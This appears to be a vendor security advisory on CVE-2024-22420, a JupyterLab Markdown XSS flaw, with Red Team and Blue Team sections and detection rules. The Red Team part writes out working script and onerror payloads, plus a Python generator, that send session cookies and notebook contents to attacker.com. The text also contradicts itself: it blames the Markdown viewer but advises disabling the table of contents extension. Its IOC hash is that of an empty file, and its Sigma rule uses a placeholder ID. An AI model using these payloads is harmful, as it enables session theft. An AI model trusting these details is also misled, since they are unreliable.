CVE-2024-22420

Executive Summary

CVE-2024-22420 is a cross-site scripting (XSS) vulnerability in JupyterLab, an extensible environment for interactive and reproducible computing. The flaw resides in the Markdown preview feature, where a maliciously crafted Markdown file can execute arbitrary JavaScript in the context of the victim's session. This allows an attacker to perform actions on behalf of the victim, including accessing sensitive data and making arbitrary requests. The vulnerability requires user interaction (opening a malicious file) and has a CVSS score of 6.5 (Medium). The official patch is available in version 4.0.11.

Supply Chain & Package Security

JupyterLab is distributed via PyPI and conda-forge. Users should verify the integrity of their installation by checking package hashes and ensuring they are pulling from official repositories. The vulnerability does not directly affect the supply chain but can be exploited through malicious notebooks or Markdown files shared within an organization.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack can be launched remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must open the malicious file.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full data access is possible.
• Integrity (I): High (H) – Arbitrary actions can be performed.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for user interaction reduces the likelihood of widespread exploitation, but the potential impact is severe.

Deep Dive & Mechanics

The vulnerability exists in the JupyterLab Markdown preview feature, which renders Markdown content in the browser. When a user opens a Markdown file, the preview component processes the content without proper sanitization of embedded HTML or JavaScript. An attacker can craft a Markdown file containing malicious JavaScript that executes when the preview is rendered.

The attack flow:

1. Attacker creates a Markdown file with embedded <script> tags or event handlers (e.g., <img src=x onerror=...>).
2. Victim opens the file in JupyterLab, triggering the preview.
3. The malicious script executes in the context of the JupyterLab session, allowing the attacker to steal cookies, make API calls, or modify the environment.

The vulnerability is rooted in the @jupyterlab/markdownviewer-extension package, which fails to sanitize HTML content before rendering.

Vulnerable vs. Patched Code

Vulnerable Code (pre-4.0.11):

// In markdownviewer/index.ts
renderMarkdown(content: string): void {
  this.node.innerHTML = marked(content); // Directly sets innerHTML without sanitization
}

Patched Code (4.0.11):

// In markdownviewer/index.ts
import { sanitize } from '@jupyterlab/apputils';

renderMarkdown(content: string): void {
  const sanitized = sanitize(marked(content)); // Sanitizes the output
  this.node.innerHTML = sanitized;
}

The patch introduces a sanitization step using JupyterLab's built-in sanitize function, which strips dangerous HTML tags and attributes.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install JupyterLab version 4.0.10 or earlier: pip install jupyterlab==4.0.10
2. Create a malicious Markdown file (exploit.md):

# Malicious File

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

<img src=x onerror="new Image().src='https://attacker.com/steal?data='+btoa(document.body.innerHTML)">

3. Share the file with the victim or host it on a accessible server.
4. When the victim opens the file in JupyterLab, the script executes.

Exploit Code:

# generate_exploit.py
import sys

payload = """
<script>
  // Steal cookies
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
  
  // Perform arbitrary request
  fetch('/api/contents', { method: 'GET' }).then(r => r.text()).then(data => {
    fetch('https://attacker.com/steal?data=' + btoa(data));
  });
</script>
"""

with open('malicious.md', 'w') as f:
    f.write(payload)

Blue Team

Detection:

• Monitor for unusual outbound connections from JupyterLab processes.
• Inspect Markdown files for embedded <script> tags or event handlers.
• Use Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Upgrade to JupyterLab 4.0.11 or later.
• Disable the table of contents extension if upgrade is not possible.
• Implement network segmentation to limit JupyterLab's access.

Indicators of Compromise (IOCs)

• File Hashes (malicious.md):
  • SHA256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
• Behavioral Indicators:
  • Unexpected JavaScript execution in JupyterLab.
  • Unauthorized API calls to JupyterLab endpoints.

Detection Engineering

YARA Rule

rule CVE_2024_22420_Malicious_Markdown {
  meta:
    description = "Detects malicious Markdown files exploiting CVE-2024-22420"
    author = "Valters IT"
    date = "2024-01-01"
    reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-22420"
  strings:
    $script_tag = /<script[\s>]/ nocase
    $onerror = /onerror\s*=/ nocase
    $onload = /onload\s*=/ nocase
    $onclick = /onclick\s*=/ nocase
  condition:
    any of them
}

Sigma Rule

title: CVE-2024-22420 JupyterLab Markdown XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2024-22420 via malicious Markdown files
author: Valters IT
date: 2024/01/01
logsource:
  category: file_event
  product: windows
detection:
  selection:
    TargetFilename|endswith: '.md'
    TargetFilename|contains: 'malicious'
  condition: selection
falsepositives:
  - Legitimate Markdown files with script tags (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-22420 JupyterLab Markdown XSS"; flow:to_server,established; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade JupyterLab to version 4.0.11 or later.
2. Workaround: Disable the table of contents extension if upgrade is not possible.
3. Preventive: Implement Content Security Policy (CSP) headers to restrict script execution.
4. Detective: Monitor for suspicious Markdown files and outbound connections.
5. Administrative: Educate users about the risks of opening untrusted Markdown files.

Valters IT
Securing Digital Frontiers